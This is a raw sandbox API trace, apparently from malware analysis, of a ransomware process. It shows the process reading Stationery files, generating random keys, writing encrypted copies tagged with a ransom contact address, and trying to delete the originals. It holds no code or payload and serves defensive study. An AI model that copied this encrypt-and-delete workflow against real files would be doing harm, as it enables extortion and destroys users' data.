[0123.820] GetLastError () returned 0x0 [0123.821] GetLastError () returned 0x0 [0123.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0123.821] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949)) returned 1 [0123.821] GetLastError () returned 0x0 [0123.821] GetCurrentThreadId () returned 0x9b0 [0123.821] GetLastError () returned 0x0 [0123.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db990 | out: hHeap=0x2ad0000) returned 1 [0123.821] GetCurrentThreadId () returned 0x9b0 [0123.821] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0123.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0123.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.822] GetCurrentThreadId () returned 0x9b0 [0123.822] GetLastError () returned 0x0 [0123.822] GetLastError () returned 0x0 [0123.822] GetLastError () returned 0x0 [0123.822] GetLastError () returned 0x0 [0123.822] GetCurrentThreadId () returned 0x9b0 [0123.822] GetLastError () returned 0x0 [0123.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.823] GetLastError () returned 0x0 [0123.823] GetLastError () returned 0x0 [0123.823] GetLastError () returned 0x0 [0123.823] GetLastError () returned 0x0 [0123.823] GetCurrentThreadId () returned 0x9b0 [0123.823] GetLastError () returned 0x0 [0123.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.823] GetCurrentThreadId () returned 0x9b0 [0123.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265478 [0123.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3ae0 | out: hHeap=0x2ad0000) returned 1 [0123.824] GetLastError () returned 0x0 [0123.824] GetLastError () returned 0x0 [0123.824] GetLastError () returned 0x0 [0123.824] GetLastError () returned 0x0 [0123.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265568 [0123.824] GetLastError () returned 0x0 [0123.824] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.825] GetFileType (hFile=0x39c) returned 0x1 [0123.825] GetLastError () returned 0x0 [0123.825] GetCurrentThreadId () returned 0x9b0 [0123.825] GetLastError () returned 0x0 [0123.825] GetFileType (hFile=0x39c) returned 0x1 [0123.825] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.825] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.825] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.826] GetLastError () returned 0x0 [0123.826] GetCurrentThreadId () returned 0x9b0 [0123.826] GetLastError () returned 0x0 [0123.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265568 | out: hHeap=0x2ad0000) returned 1 [0123.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0123.826] GetLastError () returned 0x0 [0123.826] GetLastError () returned 0x0 [0123.826] GetLastError () returned 0x0 [0123.826] GetLastError () returned 0x0 [0123.826] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0123.826] GetLastError () returned 0x0 [0123.827] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.827] GetFileType (hFile=0x3ac) returned 0x1 [0123.827] GetLastError () returned 0x0 [0123.827] GetCurrentThreadId () returned 0x9b0 [0123.827] GetLastError () returned 0x0 [0123.827] GetFileType (hFile=0x3ac) returned 0x1 [0123.827] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.827] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.828] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.828] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.828] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.828] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.828] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.828] GetLastError () returned 0x0 [0123.828] GetCurrentThreadId () returned 0x9b0 [0123.828] GetLastError () returned 0x0 [0123.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0123.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0123.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0123.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.829] GetLastError () returned 0x0 [0123.829] GetLastError () returned 0x0 [0123.829] GetCurrentThreadId () returned 0x9b0 [0123.829] GetLastError () returned 0x0 [0123.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.829] GetLastError () returned 0x0 [0123.829] GetLastError () returned 0x0 [0123.829] GetCurrentThreadId () returned 0x9b0 [0123.829] GetLastError () returned 0x0 [0123.829] GetLastError () returned 0x0 [0123.831] GetLastError () returned 0x0 [0123.831] GetCurrentThreadId () returned 0x9b0 [0123.831] GetLastError () returned 0x0 [0123.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265478 | out: hHeap=0x2ad0000) returned 1 [0123.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2968) returned 0x35be9f8 [0123.831] GetCurrentThreadId () returned 0x9b0 [0123.832] GetLastError () returned 0x0 [0123.832] GetLastError () returned 0x0 [0123.832] GetLastError () returned 0x0 [0123.832] GetLastError () returned 0x0 [0123.832] GetCurrentThreadId () returned 0x9b0 [0123.832] GetLastError () returned 0x0 [0123.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35be9f8 | out: hHeap=0x2ad0000) returned 1 [0123.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.832] GetLastError () returned 0x0 [0123.833] GetLastError () returned 0x0 [0123.834] GetCurrentThreadId () returned 0x9b0 [0123.834] GetLastError () returned 0x0 [0123.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c1368 | out: hHeap=0x2ad0000) returned 1 [0123.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36faeb8 [0123.834] GetLastError () returned 0x0 [0123.834] GetLastError () returned 0x0 [0123.834] GetCurrentThreadId () returned 0x9b0 [0123.834] GetLastError () returned 0x0 [0123.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36faeb8 | out: hHeap=0x2ad0000) returned 1 [0123.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.834] GetLastError () returned 0x0 [0123.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.835] CloseHandle (hObject=0x3ac) returned 1 [0123.835] GetLastError () returned 0x0 [0123.835] GetCurrentThreadId () returned 0x9b0 [0123.835] GetLastError () returned 0x0 [0123.836] GetLastError () returned 0x0 [0123.836] CloseHandle (hObject=0x39c) returned 1 [0123.836] GetLastError () returned 0x0 [0123.836] GetCurrentThreadId () returned 0x9b0 [0123.836] GetLastError () returned 0x0 [0123.836] GetLastError () returned 0x0 [0123.836] GetLastError () returned 0x0 [0123.836] GetLastError () returned 0x0 [0123.836] GetLastError () returned 0x0 [0123.836] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0 [0123.837] GetLastError () returned 0x5 [0123.837] GetCurrentThreadId () returned 0x9b0 [0123.837] GetLastError () returned 0x5 [0123.837] GetLastError () returned 0x5 [0123.837] GetLastError () returned 0x5 [0123.837] GetLastError () returned 0x5 [0123.837] LocalFree (hMem=0x1053c70) returned 0x0 [0123.837] GetCurrentThreadId () returned 0x9b0 [0123.837] GetLastError () returned 0x5 [0123.837] GetLastError () returned 0x5 [0123.838] GetLastError () returned 0x5 [0123.838] GetLastError () returned 0x5 [0123.838] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x9bada4*="Stars.htm") returned 0x43 [0123.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0123.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0123.838] GetCurrentThreadId () returned 0x9b0 [0123.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.838] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.839] GetCurrentThreadId () returned 0x9b0 [0123.839] GetLastError () returned 0x0 [0123.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.839] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.839] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.839] GetLastError () returned 0x0 [0123.840] GetCurrentThreadId () returned 0x9b0 [0123.840] GetLastError () returned 0x0 [0123.840] GetCurrentThreadId () returned 0x9b0 [0123.840] GetLastError () returned 0x0 [0123.840] GetLastError () returned 0x0 [0123.840] GetLastError () returned 0x0 [0123.840] GetLastError () returned 0x0 [0123.840] GetCurrentThreadId () returned 0x9b0 [0123.840] GetLastError () returned 0x0 [0123.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.841] GetLastError () returned 0x0 [0123.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0123.841] GetLastError () returned 0x0 [0123.841] GetLastError () returned 0x0 [0123.841] GetLastError () returned 0x0 [0123.841] GetCurrentThreadId () returned 0x9b0 [0123.841] GetCurrentThreadId () returned 0x9b0 [0123.841] GetCurrentThreadId () returned 0x9b0 [0123.841] GetCurrentThreadId () returned 0x9b0 [0123.841] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1 [0123.842] GetCurrentThreadId () returned 0x9b0 [0123.842] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0123.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0123.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0123.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0123.842] GetCurrentThreadId () returned 0x9b0 [0123.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0123.842] GetCurrentThreadId () returned 0x9b0 [0123.842] GetCurrentThreadId () returned 0x9b0 [0123.842] GetCurrentThreadId () returned 0x9b0 [0123.843] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.843] GetFileType (hFile=0x39c) returned 0x1 [0123.843] GetCurrentThreadId () returned 0x9b0 [0123.843] GetFileType (hFile=0x39c) returned 0x1 [0123.843] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.843] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.843] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.843] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.843] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.844] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.844] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.844] GetLastError () returned 0x0 [0123.844] GetCurrentThreadId () returned 0x9b0 [0123.844] GetLastError () returned 0x0 [0123.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265628 | out: hHeap=0x2ad0000) returned 1 [0123.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0123.844] GetLastError () returned 0x0 [0123.844] GetLastError () returned 0x0 [0123.844] GetLastError () returned 0x0 [0123.844] GetLastError () returned 0x0 [0123.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0123.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265508 [0123.845] GetLastError () returned 0x0 [0123.845] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.845] GetFileType (hFile=0x3ac) returned 0x1 [0123.845] GetLastError () returned 0x0 [0123.845] GetCurrentThreadId () returned 0x9b0 [0123.845] GetLastError () returned 0x0 [0123.845] GetFileType (hFile=0x3ac) returned 0x1 [0123.846] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.846] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.846] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.846] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.846] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.846] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.846] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.846] GetLastError () returned 0x0 [0123.846] GetCurrentThreadId () returned 0x9b0 [0123.846] GetLastError () returned 0x0 [0123.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265508 | out: hHeap=0x2ad0000) returned 1 [0123.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0123.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0123.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0123.847] GetLastError () returned 0x0 [0123.847] GetLastError () returned 0x0 [0123.847] GetCurrentThreadId () returned 0x9b0 [0123.847] GetLastError () returned 0x0 [0123.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.847] GetLastError () returned 0x0 [0123.847] GetLastError () returned 0x0 [0123.847] GetCurrentThreadId () returned 0x9b0 [0123.847] GetLastError () returned 0x0 [0123.847] GetLastError () returned 0x0 [0123.848] GetLastError () returned 0x0 [0123.849] GetCurrentThreadId () returned 0x9b0 [0123.849] GetLastError () returned 0x0 [0123.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654f8 | out: hHeap=0x2ad0000) returned 1 [0123.849] GetCurrentThreadId () returned 0x9b0 [0123.849] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x35bdee0 [0123.849] GetLastError () returned 0x0 [0123.849] GetLastError () returned 0x0 [0123.849] GetLastError () returned 0x0 [0123.849] GetLastError () returned 0x0 [0123.849] GetCurrentThreadId () returned 0x9b0 [0123.850] GetLastError () returned 0x0 [0123.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bdee0 | out: hHeap=0x2ad0000) returned 1 [0123.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0123.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.850] GetLastError () returned 0x0 [0123.850] GetLastError () returned 0x0 [0123.850] GetCurrentThreadId () returned 0x9b0 [0123.850] GetLastError () returned 0x0 [0123.850] GetLastError () returned 0x0 [0123.850] GetLastError () returned 0x0 [0123.850] GetCurrentThreadId () returned 0x9b0 [0123.851] GetLastError () returned 0x0 [0123.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.851] GetLastError () returned 0x0 [0123.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.852] CloseHandle (hObject=0x3ac) returned 1 [0123.852] GetLastError () returned 0x0 [0123.852] GetCurrentThreadId () returned 0x9b0 [0123.852] GetLastError () returned 0x0 [0123.852] GetLastError () returned 0x0 [0123.852] CloseHandle (hObject=0x39c) returned 1 [0123.853] GetLastError () returned 0x0 [0123.853] GetCurrentThreadId () returned 0x9b0 [0123.853] GetLastError () returned 0x0 [0123.853] GetLastError () returned 0x0 [0123.853] GetLastError () returned 0x0 [0123.853] GetLastError () returned 0x0 [0123.853] GetLastError () returned 0x0 [0123.853] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0 [0123.853] GetLastError () returned 0x5 [0123.854] GetCurrentThreadId () returned 0x9b0 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.854] LocalFree (hMem=0x1053cb0) returned 0x0 [0123.854] GetCurrentThreadId () returned 0x9b0 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.854] GetLastError () returned 0x5 [0123.855] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", lpFilePart=0x9bada4*="Stars.jpg") returned 0x43 [0123.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.855] GetCurrentThreadId () returned 0x9b0 [0123.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0123.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0123.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.855] GetLastError () returned 0x0 [0123.855] GetLastError () returned 0x0 [0123.855] GetLastError () returned 0x0 [0123.855] GetLastError () returned 0x0 [0123.856] GetCurrentThreadId () returned 0x9b0 [0123.856] GetLastError () returned 0x0 [0123.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.856] GetCurrentThreadId () returned 0x9b0 [0123.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.856] GetLastError () returned 0x0 [0123.856] GetLastError () returned 0x0 [0123.856] GetLastError () returned 0x0 [0123.856] GetLastError () returned 0x0 [0123.856] GetCurrentThreadId () returned 0x9b0 [0123.857] GetLastError () returned 0x0 [0123.857] GetLastError () returned 0x0 [0123.857] GetLastError () returned 0x0 [0123.857] GetLastError () returned 0x0 [0123.857] GetLastError () returned 0x0 [0123.857] GetCurrentThreadId () returned 0x9b0 [0123.857] GetLastError () returned 0x0 [0123.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.857] GetLastError () returned 0x0 [0123.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0123.857] GetLastError () returned 0x0 [0123.858] GetLastError () returned 0x0 [0123.858] GetLastError () returned 0x0 [0123.858] GetCurrentThreadId () returned 0x9b0 [0123.858] GetLastError () returned 0x0 [0123.858] GetCurrentThreadId () returned 0x9b0 [0123.858] GetLastError () returned 0x0 [0123.858] GetLastError () returned 0x0 [0123.858] GetLastError () returned 0x0 [0123.858] GetLastError () returned 0x0 [0123.858] GetCurrentThreadId () returned 0x9b0 [0123.858] GetLastError () returned 0x0 [0123.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0123.859] GetLastError () returned 0x0 [0123.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.859] GetCurrentThreadId () returned 0x9b0 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.859] GetLastError () returned 0x0 [0123.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0123.860] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51)) returned 1 [0123.860] GetLastError () returned 0x0 [0123.860] GetCurrentThreadId 